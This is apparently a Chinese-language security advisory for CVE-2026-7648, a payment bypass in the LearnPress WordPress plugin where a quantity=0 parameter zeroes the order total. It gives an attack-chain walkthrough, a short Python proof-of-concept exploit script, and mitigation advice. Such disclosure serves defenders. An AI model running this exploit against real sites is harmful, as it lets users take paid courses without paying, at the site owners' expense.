CVE-2026-7648 CVSS 4.3 中危

CVE-2026-7648 WordPress LearnPress支付绕过漏洞

披露日期: 2026-05-14

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-7648

漏洞类型

支付绕过

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

LearnPress WordPress Plugin

漏洞概述

WordPress插件LearnPress在4.3.5及之前版本中存在支付绕过漏洞。由于REST API端点未正确处理用户提供的参数，攻击者可通过array_merge函数覆盖默认值。具有订阅者及以上权限的认证攻击者可利用该漏洞，将商品数量设置为0，导致订单总额计算为0美元，从而绕过支付网关免费购买付费课程。

技术细节

该漏洞源于LearnPress插件REST API端点对用户输入的处理逻辑缺陷。在处理加入购物车的请求时，插件将未经过滤的用户参数数组直接传递给add_to_cart()函数。由于代码使用了array_merge()合并用户输入和默认配置，且未对特定键（如数量）进行严格限制，攻击者可以通过构造恶意请求参数覆盖默认值。具体而言，攻击者发送包含quantity=0的参数，系统在计算总价时会使用该覆盖后的值，导致总价归零。这允许最低权限（订阅者）的认证用户无需支付即可注册任意付费课程，严重影响了网站的商业利益。

攻击链分析

STEP 1

1. 信息收集

攻击者识别目标站点使用了存在漏洞的LearnPress插件版本（<= 4.3.5）。

STEP 2

2. 获取低权限账户

攻击者在目标站点注册一个普通用户账户（订阅者级别），获取登录凭证和Cookie。

STEP 3

3. 构造恶意请求

攻击者向REST API端点发送POST请求，在参数中添加'quantity': '0'，利用array_merge逻辑覆盖默认值。

STEP 4

4. 绕过支付

系统将订单总价计算为0，攻击者无需通过支付网关即可成功注册付费课程。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

def exploit(target_url, course_id, session_cookie):
    """
    Proof of Concept for CVE-2026-7648
    Bypasses payment by setting quantity to 0.
    """
    headers = {
        "Cookie": session_cookie,
        "Content-Type": "application/json"
    }
    # Target REST API endpoint (example path)
    api_endpoint = f"{target_url}/wp-json/learnpress/v1/courses/add-to-cart"
    
    # Payload: Overwriting default quantity with 0
    payload = {
        "id": str(course_id),
        "quantity": "0"
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload)
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if total is $0.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

# Usage
# exploit("http://target-site.com", 123, "wordpress_logged_in_...=...")

影响范围

LearnPress <= 4.3.5

防御指南

临时缓解措施

如果无法立即升级，建议暂时禁用插件的课程购买功能，或者部署WAF规则拦截对LearnPress REST API的请求中包含quantity=0的异常数据包，直至完成修复。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表